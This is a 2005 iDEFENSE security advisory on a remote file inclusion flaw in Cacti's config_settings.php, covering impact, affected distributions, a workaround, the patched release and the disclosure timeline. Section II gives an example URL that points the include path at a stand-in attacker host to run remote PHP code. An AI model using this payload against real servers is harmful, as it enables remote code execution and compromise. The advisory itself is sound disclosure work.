Multiple Vendor Cacti config_settings.php Remote Code Execution
Vulnerability
iDEFENSE Security Advisory 06.22.05
www.idefense.com/application/poi/display?id=266&type=vulnerabilities
June 22, 2005
I. BACKGROUND
Cacti is a round-robin database (RRD) tool that helps create graphs from
database information and is available on multiple Linux distributions.
II. DESCRIPTION
Cacti contains an input validation error in the config_settings.php
script which allows an attacker to include arbitrary PHP code from
remote sites. This in effect allows arbitrary code execution with the
privileges of the web server. The vulnerability specifically exists due
to the script trusting a user supplied include_path variable. The
following example demonstrates how this might be exploited:
http://example.com/include/config_settings.php?config[include_path]=http
://attackersite.com/
In this way the file "http://attackersite.com/config_arrays.php"; will be
included and executed on the vulnerable server with the privileges of
the web server.
III. ANALYSIS
Successful exploitation of this vulnerability allows a remote attacker
to gain shell access with the privileges of the web server. An attacker
can then attempt to escalate privileges using local exploits, possibly
allowing a full root compromise.
IV. DETECTION
iDEFENSE has confirmed the existence of this vulnerability on Cacti
0.8.6c. Earlier versions are suspected vulnerable. The following vendors
include susceptible Cacti packages within their respective operating
system distributions:
The Debian Project
The FreeBSD Project
Gentoo Foundation
Novell Inc. (SuSE)
V. WORKAROUND
Require authentication to access the Cacti installation. Restrict access
to web servers using Cacti to only trusted hosts.
VI. VENDOR RESPONSE
Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:
http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
or
http://www.cacti.net/downloads/cacti-0.8.6e.zip
Release notes for Cacti 0.8.6e can be found at:
http://www.cacti.net/release_notes_0_8_6e.php
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1526 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
05/12/2005 Initial vendor notification
05/15/2005 Initial vendor response
06/22/2005 Coordinated public disclosure
IX. CREDIT
Maciej Piotr Falkiewicz is credited with this discovery.
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X. LEGAL NOTICES
Copyright (c) 2005 iDEFENSE, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
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